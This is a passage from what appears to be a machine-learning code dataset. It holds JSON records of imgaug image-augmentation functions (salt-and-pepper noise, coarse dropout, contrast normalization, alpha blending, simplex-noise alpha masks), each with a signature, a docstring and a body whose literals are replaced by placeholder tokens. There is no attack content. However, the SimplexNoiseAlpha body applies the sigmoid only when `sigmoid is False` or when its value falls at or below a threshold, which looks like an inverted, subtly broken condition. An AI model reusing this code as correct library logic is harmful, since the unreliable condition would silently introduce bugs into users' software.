iaa.CoarseDropout(0.02, size_percent=0.5, per_channel=0.5)\n\nsame as previous example, but the `per_channel` feature is only active\nfor 50 percent of all images.", "id": "f16295:m4"}
{"signature": "def ImpulseNoise(p=<NUM_LIT:0>, name=None, deterministic=False, random_state=None):", "body": "return SaltAndPepper(p=p, per_channel=True, name=name, deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Creates an augmenter to apply impulse noise to an image.\n\nThis is identical to ``SaltAndPepper``, except that per_channel is always set to True.\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.SaltAndPepper``.", "id": "f16295:m5"}
{"signature": "def SaltAndPepper(p=<NUM_LIT:0>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return ReplaceElementwise(<EOL>mask=p,<EOL>replacement=iap.Beta(<NUM_LIT:0.5>, <NUM_LIT:0.5>) * <NUM_LIT:255>,<EOL>per_channel=per_channel,<EOL>name=name,<EOL>deterministic=deterministic,<EOL>random_state=random_state<EOL>)<EOL>", "docstring": "Adds salt and pepper noise to an image, i.e. some white-ish and black-ish pixels.\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.ReplaceElementwise``.\n\nParameters\n----------\np : float or tuple of float or list of float or imgaug.parameters.StochasticParameter, optional\n    Probability of changing a pixel to salt/pepper noise.\n\n        * If a float, then that value will be used for all images as the\n          probability.\n        * If a tuple ``(a, b)``, then a probability will be sampled per image\n          from the range ``a <= x <= b``.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, then this parameter will be used as\n          the *mask*, i.e. it is expected to contain values between\n          0.0 and 1.0, where 1.0 means that salt/pepper is to be added\n          at that location.\n\nper_channel : bool or float, optional\n    Whether to use the same value for all channels (False)\n    or to sample a new value for each channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.SaltAndPepper(0.05)\n\nReplaces 5 percent of all pixels with salt/pepper.", "id": "f16295:m6"}
{"signature": "def CoarseSaltAndPepper(p=<NUM_LIT:0>, size_px=None, size_percent=None, per_channel=False, min_size=<NUM_LIT:4>, name=None,<EOL>deterministic=False, random_state=None):", "body": "mask = iap.handle_probability_param(p, \"<STR_LIT:p>\", tuple_to_uniform=True, list_to_choice=True)<EOL>if size_px is not None:<EOL><INDENT>mask_low = iap.FromLowerResolution(other_param=mask, size_px=size_px, min_size=min_size)<EOL><DEDENT>elif size_percent is not None:<EOL><INDENT>mask_low = iap.FromLowerResolution(other_param=mask, size_percent=size_percent, min_size=min_size)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>replacement = iap.Beta(<NUM_LIT:0.5>, <NUM_LIT:0.5>) * <NUM_LIT:255><EOL>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return ReplaceElementwise(<EOL>mask=mask_low,<EOL>replacement=replacement,<EOL>per_channel=per_channel,<EOL>name=name,<EOL>deterministic=deterministic,<EOL>random_state=random_state<EOL>)<EOL>", "docstring": "Adds coarse salt and pepper noise to an image, i.e. rectangles that contain noisy white-ish and black-ish pixels.\n\nTODO replace dtype support with uint8 only, because replacement is geared towards that value range\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.ReplaceElementwise``.\n\nParameters\n----------\np : float or tuple of float or list of float or imgaug.parameters.StochasticParameter, optional\n    Probability of changing a pixel to salt/pepper noise.\n\n        * If a float, then that value will be used for all images as the\n          probability.\n        * If a tuple ``(a, b)``, then a probability will be sampled per image\n          from the range ``a <= x <= b``.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, then this parameter will be used as\n          the *mask*, i.e. it is expected to contain values between\n          0.0 and 1.0, where 1.0 means that salt/pepper is to be added\n          at that location.\n\nsize_px : int or tuple of int or imgaug.parameters.StochasticParameter, optional\n    The size of the lower resolution image from which to sample the noise\n    mask in absolute pixel dimensions.\n\n        * If an integer, then that size will be used for both height and\n          width. E.g. a value of 3 would lead to a ``3x3`` mask, which is then\n          upsampled to ``HxW``, where ``H`` is the image size and ``W`` the image width.\n        * If a tuple ``(a, b)``, then two values ``M``, ``N`` will be sampled from the\n          range ``[a..b]`` and the mask will be generated at size ``MxN``, then\n          upsampled to ``HxW``.\n        * If a StochasticParameter, then this parameter will be used to\n          determine the sizes. It is expected to be discrete.\n\nsize_percent : float or tuple of float or imgaug.parameters.StochasticParameter, optional\n    The size of the lower resolution image from which to sample the noise\n    mask *in percent* of the input image.\n\n        * If a float, then that value will be used as the percentage of the\n          height and width (relative to the original size). E.g. for value\n          p, the mask will be sampled from ``(p*H)x(p*W)`` and later upsampled\n          to ``HxW.``\n        * If a tuple ``(a, b)``, then two values ``m``, ``n`` will be sampled from the\n          interval ``(a, b)`` and used as the percentages, i.e the mask size\n          will be ``(m*H)x(n*W)``.\n        * If a StochasticParameter, then this parameter will be used to\n          sample the percentage values. It is expected to be continuous.\n\nper_channel : bool or float, optional\n    Whether to use the same value (is dropped / is not dropped)\n    for all channels of a pixel (False) or to sample a new value for each\n    channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nmin_size : int, optional\n    Minimum size of the low resolution mask, both width and height. If\n    `size_percent` or `size_px` leads to a lower value than this, `min_size`\n    will be used instead. This should never have a value of less than 2,\n    otherwise one may end up with a 1x1 low resolution mask, leading easily\n    to the whole image being replaced.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.CoarseSaltAndPepper(0.05, size_percent=(0.01, 0.1))\n\nReplaces 5 percent of all pixels with salt/pepper in an image that has\n1 to 10 percent of the input image size, then upscales the results\nto the input image size, leading to large rectangular areas being replaced.", "id": "f16295:m7"}
{"signature": "def Salt(p=<NUM_LIT:0>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "replacement01 = iap.ForceSign(<EOL>iap.Beta(<NUM_LIT:0.5>, <NUM_LIT:0.5>) - <NUM_LIT:0.5>,<EOL>positive=True,<EOL>mode=\"<STR_LIT>\"<EOL>) + <NUM_LIT:0.5><EOL>replacement = replacement01 * <NUM_LIT:255>  <EOL>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return ReplaceElementwise(mask=p, replacement=replacement, per_channel=per_channel, name=name,<EOL>deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Adds salt noise to an image, i.e. white-ish pixels.\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.ReplaceElementwise``.\n\nParameters\n----------\np : float or tuple of float or list of float or imgaug.parameters.StochasticParameter, optional\n    Probability of changing a pixel to salt noise.\n\n        * If a float, then that value will be used for all images as the\n          probability.\n        * If a tuple ``(a, b)``, then a probability will be sampled per image\n          from the range ``a <= x <= b``.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, then this parameter will be used as\n          the *mask*, i.e. it is expected to contain values between\n          0.0 and 1.0, where 1.0 means that salt is to be added\n          at that location.\n\nper_channel : bool or float, optional\n    Whether to use the same value for all channels (False)\n    or to sample a new value for each channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.Salt(0.05)\n\nReplaces 5 percent of all pixels with salt.", "id": "f16295:m8"}
{"signature": "def CoarseSalt(p=<NUM_LIT:0>, size_px=None, size_percent=None, per_channel=False, min_size=<NUM_LIT:4>, name=None, deterministic=False,<EOL>random_state=None):", "body": "mask = iap.handle_probability_param(p, \"<STR_LIT:p>\", tuple_to_uniform=True, list_to_choice=True)<EOL>if size_px is not None:<EOL><INDENT>mask_low = iap.FromLowerResolution(other_param=mask, size_px=size_px, min_size=min_size)<EOL><DEDENT>elif size_percent is not None:<EOL><INDENT>mask_low = iap.FromLowerResolution(other_param=mask, size_percent=size_percent, min_size=min_size)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>replacement01 = iap.ForceSign(<EOL>iap.Beta(<NUM_LIT:0.5>, <NUM_LIT:0.5>) - <NUM_LIT:0.5>,<EOL>positive=True,<EOL>mode=\"<STR_LIT>\"<EOL>) + <NUM_LIT:0.5><EOL>replacement = replacement01 * <NUM_LIT:255><EOL>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return ReplaceElementwise(mask=mask_low, replacement=replacement, per_channel=per_channel, name=name,<EOL>deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Adds coarse salt noise to an image, i.e. rectangles containing noisy white-ish pixels.\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.ReplaceElementwise``.\n\nParameters\n----------\np : float or tuple of float or list of float or imgaug.parameters.StochasticParameter, optional\n    Probability of changing a pixel to salt noise.\n\n        * If a float, then that value will be used for all images as the\n          probability.\n        * If a tuple ``(a, b)``, then a probability will be sampled per image\n          from the range ``a <= x <= b``.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, then this parameter will be used as\n          the *mask*, i.e. it is expected to contain values between\n          0.0 and 1.0, where 1.0 means that salt is to be added\n          at that location.\n\nsize_px : int or tuple of int or imgaug.parameters.StochasticParameter, optional\n    The size of the lower resolution image from which to sample the noise\n    mask in absolute pixel dimensions.\n\n        * If an integer, then that size will be used for both height and\n          width. E.g. a value of 3 would lead to a ``3x3`` mask, which is then\n          upsampled to ``HxW``, where H is the image size and W the image width.\n        * If a tuple ``(a, b)``, then two values M, N will be sampled from the\n          range ``[a..b]`` and the mask will be generated at size ``MxN``, then\n          upsampled to ``HxW``.\n        * If a StochasticParameter, then this parameter will be used to\n          determine the sizes. It is expected to be discrete.\n\nsize_percent : float or tuple of float or imgaug.parameters.StochasticParameter, optional\n    The size of the lower resolution image from which to sample the noise\n    mask *in percent* of the input image.\n\n        * If a float, then that value will be used as the percentage of the\n          height and width (relative to the original size). E.g. for value\n          p, the mask will be sampled from ``(p*H)x(p*W)`` and later upsampled\n          to ``HxW``.\n        * If a tuple ``(a, b)``, then two values ``m``, ``n`` will be sampled from the\n          interval ``(a, b)`` and used as the percentages, i.e the mask size\n          will be ``(m*H)x(n*W)``.\n        * If a StochasticParameter, then this parameter will be used to\n          sample the percentage values. It is expected to be continuous.\n\nper_channel : bool or float, optional\n    Whether to use the same value (is dropped / is not dropped)\n    for all channels of a pixel (False) or to sample a new value for each\n    channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nmin_size : int, optional\n    Minimum size of the low resolution mask, both width and height. If\n    `size_percent` or `size_px` leads to a lower value than this, `min_size`\n    will be used instead. This should never have a value of less than 2,\n    otherwise one may end up with a ``1x1`` low resolution mask, leading easily\n    to the whole image being replaced.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.CoarseSalt(0.05, size_percent=(0.01, 0.1))\n\nReplaces 5 percent of all pixels with salt in an image that has\n1 to 10 percent of the input image size, then upscales the results\nto the input image size, leading to large rectangular areas being replaced.", "id": "f16295:m9"}
{"signature": "def Pepper(p=<NUM_LIT:0>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "replacement01 = iap.ForceSign(<EOL>iap.Beta(<NUM_LIT:0.5>, <NUM_LIT:0.5>) - <NUM_LIT:0.5>,<EOL>positive=False,<EOL>mode=\"<STR_LIT>\"<EOL>) + <NUM_LIT:0.5><EOL>replacement = replacement01 * <NUM_LIT:255><EOL>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return ReplaceElementwise(<EOL>mask=p,<EOL>replacement=replacement,<EOL>per_channel=per_channel,<EOL>name=name,<EOL>deterministic=deterministic,<EOL>random_state=random_state<EOL>)<EOL>", "docstring": "Adds pepper noise to an image, i.e. black-ish pixels.\n\nThis is similar to dropout, but slower and the black pixels are not uniformly black.\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.ReplaceElementwise``.\n\nParameters\n----------\np : float or tuple of float or list of float or imgaug.parameters.StochasticParameter, optional\n    Probability of changing a pixel to pepper noise.\n\n        * If a float, then that value will be used for all images as the\n          probability.\n        * If a tuple ``(a, b)``, then a probability will be sampled per image\n          from the range ``a <= x <= b``.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, then this parameter will be used as\n          the *mask*, i.e. it is expected to contain values between\n          0.0 and 1.0, where 1.0 means that pepper is to be added\n          at that location.\n\nper_channel : bool or float, optional\n    Whether to use the same value for all channels (False)\n    or to sample a new value for each channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.Pepper(0.05)\n\nReplaces 5 percent of all pixels with pepper.", "id": "f16295:m10"}
{"signature": "def CoarsePepper(p=<NUM_LIT:0>, size_px=None, size_percent=None, per_channel=False, min_size=<NUM_LIT:4>, name=None, deterministic=False,<EOL>random_state=None):", "body": "mask = iap.handle_probability_param(p, \"<STR_LIT:p>\", tuple_to_uniform=True, list_to_choice=True)<EOL>if size_px is not None:<EOL><INDENT>mask_low = iap.FromLowerResolution(other_param=mask, size_px=size_px, min_size=min_size)<EOL><DEDENT>elif size_percent is not None:<EOL><INDENT>mask_low = iap.FromLowerResolution(other_param=mask, size_percent=size_percent, min_size=min_size)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>replacement01 = iap.ForceSign(<EOL>iap.Beta(<NUM_LIT:0.5>, <NUM_LIT:0.5>) - <NUM_LIT:0.5>,<EOL>positive=False,<EOL>mode=\"<STR_LIT>\"<EOL>) + <NUM_LIT:0.5><EOL>replacement = replacement01 * <NUM_LIT:255><EOL>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return ReplaceElementwise(<EOL>mask=mask_low,<EOL>replacement=replacement,<EOL>per_channel=per_channel,<EOL>name=name,<EOL>deterministic=deterministic,<EOL>random_state=random_state<EOL>)<EOL>", "docstring": "Adds coarse pepper noise to an image, i.e. rectangles that contain noisy black-ish pixels.\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.ReplaceElementwise``.\n\nParameters\n----------\np : float or tuple of float or list of float or imgaug.parameters.StochasticParameter, optional\n    Probability of changing a pixel to pepper noise.\n\n        * If a float, then that value will be used for all images as the\n          probability.\n        * If a tuple ``(a, b)``, then a probability will be sampled per image\n          from the range ``a <= x <= b.``\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, then this parameter will be used as\n          the *mask*, i.e. it is expected to contain values between\n          0.0 and 1.0, where 1.0 means that pepper is to be added\n          at that location.\n\nsize_px : int or tuple of int or imgaug.parameters.StochasticParameter, optional\n    The size of the lower resolution image from which to sample the noise\n    mask in absolute pixel dimensions.\n\n        * If an integer, then that size will be used for both height and\n          width. E.g. a value of 3 would lead to a ``3x3`` mask, which is then\n          upsampled to ``HxW``, where ``H`` is the image size and W the image width.\n        * If a tuple ``(a, b)``, then two values ``M``, ``N`` will be sampled from the\n          range ``[a..b]`` and the mask will be generated at size ``MxN``, then\n          upsampled to ``HxW``.\n        * If a StochasticParameter, then this parameter will be used to\n          determine the sizes. It is expected to be discrete.\n\nsize_percent : float or tuple of float or imgaug.parameters.StochasticParameter, optional\n    The size of the lower resolution image from which to sample the noise\n    mask *in percent* of the input image.\n\n        * If a float, then that value will be used as the percentage of the\n          height and width (relative to the original size). E.g. for value\n          p, the mask will be sampled from ``(p*H)x(p*W)`` and later upsampled\n          to ``HxW``.\n        * If a tuple ``(a, b)``, then two values ``m``, ``n`` will be sampled from the\n          interval ``(a, b)`` and used as the percentages, i.e the mask size\n          will be ``(m*H)x(n*W)``.\n        * If a StochasticParameter, then this parameter will be used to\n          sample the percentage values. It is expected to be continuous.\n\nper_channel : bool or float, optional\n    Whether to use the same value (is dropped / is not dropped)\n    for all channels of a pixel (False) or to sample a new value for each\n    channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nmin_size : int, optional\n    Minimum size of the low resolution mask, both width and height. If\n    `size_percent` or `size_px` leads to a lower value than this, `min_size`\n    will be used instead. This should never have a value of less than 2,\n    otherwise one may end up with a 1x1 low resolution mask, leading easily\n    to the whole image being replaced.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.CoarsePepper(0.05, size_percent=(0.01, 0.1))\n\nReplaces 5 percent of all pixels with pepper in an image that has\n1 to 10 percent of the input image size, then upscales the results\nto the input image size, leading to large rectangular areas being replaced.", "id": "f16295:m11"}
{"signature": "def ContrastNormalization(alpha=<NUM_LIT:1.0>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "<EOL>from . import contrast as contrast_lib<EOL>return contrast_lib.LinearContrast(alpha=alpha, per_channel=per_channel, name=name, deterministic=deterministic,<EOL>random_state=random_state)<EOL>", "docstring": "Augmenter that changes the contrast of images.\n\ndtype support:\n\n    See ``imgaug.augmenters.contrast.LinearContrast``.\n\nParameters\n----------\nalpha : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Strength of the contrast normalization. Higher values than 1.0\n    lead to higher contrast, lower values decrease the contrast.\n\n        * If a number, then that value will be used for all images.\n        * If a tuple ``(a, b)``, then a value will be sampled per image from\n          the range ``a <= x <= b`` and be used as the alpha value.\n        * If a list, then a random value will be sampled per image from\n          that list.\n        * If a StochasticParameter, then this parameter will be used to\n          sample the alpha value per image.\n\nper_channel : bool or float, optional\n    Whether to use the same value for all channels (False)\n    or to sample a new value for each channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> iaa.ContrastNormalization((0.5, 1.5))\n\nDecreases oder improves contrast per image by a random factor between\n0.5 and 1.5. The factor 0.5 means that any difference from the center value\n(i.e. 128) will be halved, leading to less contrast.\n\n>>> iaa.ContrastNormalization((0.5, 1.5), per_channel=0.5)\n\nSame as before, but for 50 percent of all images the normalization is done\nindependently per channel (i.e. factors can vary per channel for the same\nimage). In the other 50 percent of all images, the factor is the same for\nall channels.", "id": "f16295:m12"}
{"signature": "def blend_alpha(image_fg, image_bg, alpha, eps=<NUM_LIT>):", "body": "assert image_fg.shape == image_bg.shape<EOL>assert image_fg.dtype.kind == image_bg.dtype.kind<EOL>assert image_fg.dtype.name not in [\"<STR_LIT>\"]<EOL>assert image_bg.dtype.name not in [\"<STR_LIT>\"]<EOL>input_was_2d = (len(image_fg.shape) == <NUM_LIT:2>)<EOL>if input_was_2d:<EOL><INDENT>image_fg = np.atleast_3d(image_fg)<EOL>image_bg = np.atleast_3d(image_bg)<EOL><DEDENT>input_was_bool = False<EOL>if image_fg.dtype.kind == \"<STR_LIT:b>\":<EOL><INDENT>input_was_bool = True<EOL>image_fg = image_fg.astype(np.float32)<EOL>image_bg = image_bg.astype(np.float32)<EOL><DEDENT>alpha = np.array(alpha, dtype=np.float64)<EOL>if alpha.size == <NUM_LIT:1>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if alpha.ndim == <NUM_LIT:2>:<EOL><INDENT>assert alpha.shape == image_fg.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>alpha = alpha.reshape((alpha.shape[<NUM_LIT:0>], alpha.shape[<NUM_LIT:1>], <NUM_LIT:1>))<EOL><DEDENT>elif alpha.ndim == <NUM_LIT:3>:<EOL><INDENT>assert alpha.shape == image_fg.shape or alpha.shape == image_fg.shape[<NUM_LIT:0>:<NUM_LIT:2>] + (<NUM_LIT:1>,)<EOL><DEDENT>else:<EOL><INDENT>alpha = alpha.reshape((<NUM_LIT:1>, <NUM_LIT:1>, -<NUM_LIT:1>))<EOL><DEDENT>if alpha.shape[<NUM_LIT:2>] != image_fg.shape[<NUM_LIT:2>]:<EOL><INDENT>alpha = np.tile(alpha, (<NUM_LIT:1>, <NUM_LIT:1>, image_fg.shape[<NUM_LIT:2>]))<EOL><DEDENT><DEDENT>if not input_was_bool:<EOL><INDENT>if np.all(alpha >= <NUM_LIT:1.0> - eps):<EOL><INDENT>return np.copy(image_fg)<EOL><DEDENT>elif np.all(alpha <= eps):<EOL><INDENT>return np.copy(image_bg)<EOL><DEDENT><DEDENT>assert <NUM_LIT:0> <= alpha.item(<NUM_LIT:0>) <= <NUM_LIT:1.0><EOL>dt_images = iadt.get_minimal_dtype([image_fg, image_bg])<EOL>isize = dt_images.itemsize * <NUM_LIT:2><EOL>isize = max(isize, <NUM_LIT:4>)  <EOL>dt_blend = np.dtype(\"<STR_LIT>\" % (isize,))<EOL>if alpha.dtype != dt_blend:<EOL><INDENT>alpha = alpha.astype(dt_blend)<EOL><DEDENT>if image_fg.dtype != dt_blend:<EOL><INDENT>image_fg = image_fg.astype(dt_blend)<EOL><DEDENT>if image_bg.dtype != dt_blend:<EOL><INDENT>image_bg = image_bg.astype(dt_blend)<EOL><DEDENT>image_blend = image_bg + alpha * (image_fg - image_bg)<EOL>if input_was_bool:<EOL><INDENT>image_blend = image_blend > <NUM_LIT:0.5><EOL><DEDENT>else:<EOL><INDENT>image_blend = iadt.restore_dtypes_(image_blend, dt_images, clip=False, round=True)<EOL><DEDENT>if input_was_2d:<EOL><INDENT>return image_blend[:, :, <NUM_LIT:0>]<EOL><DEDENT>return image_blend<EOL>", "docstring": "Blend two images using an alpha blending.\n\nIn an alpha blending, the two images are naively mixed. Let ``A`` be the foreground image\nand ``B`` the background image and ``a`` is the alpha value. Each pixel intensity is then\ncomputed as ``a * A_ij + (1-a) * B_ij``.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested\n    * ``uint16``: yes; fully tested\n    * ``uint32``: yes; fully tested\n    * ``uint64``: yes; fully tested (1)\n    * ``int8``: yes; fully tested\n    * ``int16``: yes; fully tested\n    * ``int32``: yes; fully tested\n    * ``int64``: yes; fully tested (1)\n    * ``float16``: yes; fully tested\n    * ``float32``: yes; fully tested\n    * ``float64``: yes; fully tested (1)\n    * ``float128``: no (2)\n    * ``bool``: yes; fully tested (2)\n\n    - (1) Tests show that these dtypes work, but a conversion to float128 happens, which only\n          has 96 bits of size instead of true 128 bits and hence not twice as much resolution.\n          It is possible that these dtypes result in inaccuracies, though the tests did not\n          indicate that.\n    - (2) Not available due to the input dtype having to be increased to an equivalent float\n          dtype with two times the input resolution.\n    - (3) Mapped internally to ``float16``.\n\nParameters\n----------\nimage_fg : (H,W,[C]) ndarray\n    Foreground image. Shape and dtype kind must match the one of the\n    background image.\n\nimage_bg : (H,W,[C]) ndarray\n    Background image. Shape and dtype kind must match the one of the\n    foreground image.\n\nalpha : number or iterable of number or ndarray\n    The blending factor, between 0.0 and 1.0. Can be interpreted as the opacity of the\n    foreground image. Values around 1.0 result in only the foreground image being visible.\n    Values around 0.0 result in only the background image being visible.\n    Multiple alphas may be provided. In these cases, there must be exactly one alpha per\n    channel in the foreground/background image. Alternatively, for ``(H,W,C)`` images,\n    either one ``(H,W)`` array or an ``(H,W,C)`` array of alphas may be provided,\n    denoting the elementwise alpha value.\n\neps : number, optional\n    Controls when an alpha is to be interpreted as exactly 1.0 or exactly 0.0, resulting\n    in only the foreground/background being visible and skipping the actual computation.\n\nReturns\n-------\nimage_blend : (H,W,C) ndarray\n    Blend of foreground and background image.", "id": "f16296:m0"}
{"signature": "def SimplexNoiseAlpha(first=None, second=None, per_channel=False, size_px_max=(<NUM_LIT:2>, <NUM_LIT:16>), upscale_method=None,<EOL>iterations=(<NUM_LIT:1>, <NUM_LIT:3>), aggregation_method=\"<STR_LIT>\", sigmoid=True, sigmoid_thresh=None,<EOL>name=None, deterministic=False, random_state=None):", "body": "upscale_method_default = iap.Choice([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"], p=[<NUM_LIT>, <NUM_LIT>, <NUM_LIT>])<EOL>sigmoid_thresh_default = iap.Normal(<NUM_LIT:0.0>, <NUM_LIT>)<EOL>noise = iap.SimplexNoise(<EOL>size_px_max=size_px_max,<EOL>upscale_method=upscale_method if upscale_method is not None else upscale_method_default<EOL>)<EOL>if iterations != <NUM_LIT:1>:<EOL><INDENT>noise = iap.IterativeNoiseAggregator(<EOL>noise,<EOL>iterations=iterations,<EOL>aggregation_method=aggregation_method<EOL>)<EOL><DEDENT>if sigmoid is False or (ia.is_single_number(sigmoid) and sigmoid <= <NUM_LIT>):<EOL><INDENT>noise = iap.Sigmoid.create_for_noise(<EOL>noise,<EOL>threshold=sigmoid_thresh if sigmoid_thresh is not None else sigmoid_thresh_default,<EOL>activated=sigmoid<EOL>)<EOL><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return AlphaElementwise(<EOL>factor=noise, first=first, second=second, per_channel=per_channel,<EOL>name=name, deterministic=deterministic, random_state=random_state<EOL>)<EOL>", "docstring": "Augmenter to alpha-blend two image sources using simplex noise alpha masks.\n\nThe alpha masks are sampled using a simplex noise method, roughly creating\nconnected blobs of 1s surrounded by 0s. If nearest neighbour upsampling\nis used, these blobs can be rectangular with sharp edges.\n\ndtype support::\n\n    See ``imgaug.augmenters.blend.AlphaElementwise``.\n\nParameters\n----------\nfirst : None or imgaug.augmenters.meta.Augmenter or iterable of imgaug.augmenters.meta.Augmenter, optional\n    Augmenter(s) that make up the first of the two branches.\n\n        * If None, then the input images will be reused as the output\n          of the first branch.\n        * If Augmenter, then that augmenter will be used as the branch.\n        * If iterable of Augmenter, then that iterable will be converted\n          into a Sequential and used as the augmenter.\n\nsecond : None or imgaug.augmenters.meta.Augmenter or iterable of imgaug.augmenters.meta.Augmenter, optional\n    Augmenter(s) that make up the second of the two branches.\n\n        * If None, then the input images will be reused as the output\n          of the second branch.\n        * If Augmenter, then that augmenter will be used as the branch.\n        * If iterable of Augmenter, then that iterable will be converted\n          into a Sequential and used as the augmenter.\n\nper_channel : bool or float, optional\n    Whether to use the same factor for all channels (False)\n    or to sample a new value for each channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nsize_px_max : int or tuple of int or list of int or imgaug.parameters.StochasticParameter, optional\n    The simplex noise is always generated in a low resolution environment.\n    This parameter defines the maximum size of that environment (in\n    pixels). The environment is initialized at the same size as the input\n    image and then downscaled, so that no side exceeds `size_px_max`\n    (aspect ratio is kept).\n\n        * If int, then that number will be used as the size for all\n          iterations.\n        * If tuple of two ints ``(a, b)``, then a value will be sampled\n          per iteration from the discrete range ``[a..b]``.\n        * If a list of ints, then a value will be picked per iteration at\n          random from that list.\n        * If a StochasticParameter, then a value will be sampled from\n          that parameter per iteration.\n\nupscale_method : None or imgaug.ALL or str or list of str or imgaug.parameters.StochasticParameter, optional\n    After generating the noise maps in low resolution environments, they\n    have to be upscaled to the input image size. This parameter controls\n    the upscaling method.\n\n        * If None, then either ``nearest`` or ``linear`` or ``cubic`` is picked.\n          Most weight is put on linear, followed by cubic.\n        * If ia.ALL, then either ``nearest`` or ``linear`` or ``area`` or ``cubic``\n          is picked per iteration (all same probability).\n        * If string, then that value will be used as the method (must be\n          'nearest' or ``linear`` or ``area`` or ``cubic``).\n        * If list of string, then a random value will be picked from that\n          list per iteration.\n        * If StochasticParameter, then a random value will be sampled\n          from that parameter per iteration.\n\niterations : int or tuple of int or list of int or imgaug.parameters.StochasticParameter, optional\n    How often to repeat the simplex noise generation process per image.\n\n        * If int, then that number will be used as the iterations for all\n          images.\n        * If tuple of two ints ``(a, b)``, then a value will be 